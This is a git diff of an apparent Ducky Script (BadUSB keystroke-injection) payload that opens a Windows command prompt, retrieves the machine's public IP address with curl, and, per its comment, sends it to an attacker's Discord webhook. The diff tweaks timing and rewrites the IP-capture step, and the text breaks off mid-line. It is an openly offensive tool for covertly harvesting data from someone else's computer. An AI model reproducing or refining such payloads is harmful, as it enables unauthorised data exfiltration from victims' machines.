diff --git a/pull-ip-discord.txt b/pull-ip-discord.txt index c577212..7280d16 100644 --- a/pull-ip-discord.txt +++ b/pull-ip-discord.txt @@ -1,15 +1,15 @@ -REM replace "YOUR_DISCORD_WEBHOOK_URL" in line 13 to your own discord webhook. to be run on windows systems. -DELAY 1000 +REM to be run on windows systems. replace "YOUR_DISCORD_WEBHOOK_URL" in line 13 to your own discord webhook. +DELAY 500 GUI r DELAY 500 STRING cmd DELAY 500 ENTER -DELAY 1000 -STRING curl ipv4.icanhazip.com > temp.txt +DELAY 500 +for /f "delims=" %i in ('curl ipv4.icanhazip.com') do set IP_ADDR=%i DELAY 500 ENTER DELAY 1000 -STRING set /p IP=